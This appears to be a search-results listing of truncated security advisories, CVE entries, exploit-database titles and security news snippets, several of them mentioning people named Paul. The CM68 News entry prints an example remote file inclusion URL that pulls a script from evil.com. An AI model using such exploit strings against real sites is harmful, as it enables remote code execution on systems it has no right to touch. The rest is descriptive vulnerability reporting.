RHEL 7 : libreswan (RHSA-2015:1979)

The remote Redhat Enterprise Linux 7 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2015:1979 advisory. Libreswan is an implementation of IPsec & IKE for Linux. IPsec is the Internet Protocol Security and uses strong cryptography to provide both...

Cisco Unity Connection Web Interface SQL Injection Vulnerability

A vulnerability in the web interface of Cisco Unity Connection UC could allow an authenticated, remote attacker to impact the confidentiality of the system by executing arbitrary SQL queries. The vulnerability is due to a lack of input validation on user-supplied input in SQL queries. An attacker...

Critical: Red Hat Security Advisory: firefox security update

Updated firefox packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5, 6, and 7. Red Hat Product Security has rated this update as having Critical security impact. Common Vulnerability Scoring System CVSS base scores, which give detailed severity ratings, are...

RSA Conference Chris Hoff Reuben Paul Keynote

SAN FRANCISCO – When it comes to the future development of secure software, there’s really only one “next generation” that matters. That’s why today when the covers were pulled back on a seven-foot-tall server rack wheeled out on stage during Chris Hoff’s RSA Conference keynote, those in the...

SA-CONTRIB-2014-116 - Webform Invitation - Cross Site Scripting (XSS)

This module enables you to create custom invitation codes for Webforms. The module failed to sanitize node titles. This vulnerability is mitigated by the fact that an attacker must have a role with the permission "Webform: Create new content", "Webform: Edit own content" and/or "Webform: Edit any...

RHEL 5 / 6 : rhncfg (RHSA-2012:1369)

The remote Redhat Enterprise Linux 5 / 6 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2012:1369 advisory. Red Hat Network Tools provide programs and libraries that allow your system to use provisioning, monitoring, and configuration management...

CVE-2014-7000

The Paul Alexander Campaign aka hr.apps.n51261427 application 4.5.8 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

CVE-2014-7000

The Paul Alexander Campaign aka hr.apps.n51261427 application 4.5.8 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

CVE-2014-7000

The CVE-2014-7000 entry applies to The Paul Alexander Campaign (aka hr.apps.n51261427) Android app 4.5.8, where the app does not verify X.509 certificates from SSL servers. This basic trust-bypass enables man-in-the-middle attackers to spoof servers and harvest sensitive information via a crafted...

Joomla Component com_tickets <= 2.1 (id) SQL Injection Vuln

No description provided by source. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Joomla Component comtickets id SQL-injection Vulnerability ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Author : Chip D3 Bi0s + Email :...

CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability

No description provided by source. Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& milw0rm.com 2006-12-08...

Paul Smith Computer Services VCAP Calendar Server 1.9 - Remote Denial of Service Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/19959/info vCAP Calendar Server is prone to a remote denial-of-service vulnerability. This issue is due to a design error. An attacker can exploit this issue to crash the application, effectively denying service. vCAP...

Updated python-django packages fix multiple vulnerabilities

Updated python-django and python-dgango14 packages fix security vulnerabilities: Benjamin Bach discovered that Django incorrectly handled dotted Python paths when using the reverse function. An attacker could use this issue to cause Django to import arbitrary modules from the Python path, resulti...

Ubuntu 14.04 LTS : Django vulnerabilities (USN-2169-1)

The remote Ubuntu 14.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-2169-1 advisory. Benjamin Bach discovered that Django incorrectly handled dotted Python paths when using the reverse function. An attacker could use this issue to cause...

[SECURITY] [DSA 2893-1] openswan security update

------------------------------------------------------------------------- Debian Security Advisory DSA-2893-1 [email protected] http://www.debian.org/security/ Yves-Alexis Perez March 31, 2014 http://www.debian.org/security/faq -...

Ubuntu 12.10 / 13.04 : libimobiledevice vulnerability (USN-1927-1)

Paul Collins discovered that libimobiledevice incorrectly handled temporary files. A local attacker could possibly use this issue to overwrite arbitrary files and access device keys. In the default Ubuntu installation, this issue should be mitigated by the Yama link restrictions. Note that Tenabl...

How I Got Here: Paul Judge

Dennis Fisher talks with Paul Judge, the CTO of Barracuda Labs, about his roots in the security industry, his near-miss with organic chemistry, the start-up and security community in Atlanta and what his next venture might be. Download: 03pauljudge.mp3...

Polycom HDX - Telnet Authentication Bypass (Metasploit)

======================================================================== = Polycom HDX Telnet Authorization Bypass = = Vendor Website: = www.polycom.com = = Affected Version: = Polycom HDX devices: = All releases prior to and including Commercial 3.0.5 = = Public disclosure on January 18, 2013 =...

Debian Security Advisory DSA 2603-1 (emacs23 - programming error)

Paul Ling discovered that Emacs insufficiently restricted the evaluation of Lisp code if enable-local-variables is set to safe . OpenVAS Vulnerability Test $Id: deb2603.nasl 6611 2017-07-07 12:07:20Z cfischer $ Auto-generated from advisory DSA 2603-1 using nvtgen 1.0 Script version: 1.0 Author:...

New windows malware can target smart cards for full remote access

If you think that having a USB Token Smartcard is extremely secure for Digital signatures or other activities, you may be wrong! The research done by Paul Rascagneres can remotely give access to victims smartcard! What makes the attack unique is it uses a keylogger to get the PIN or password and...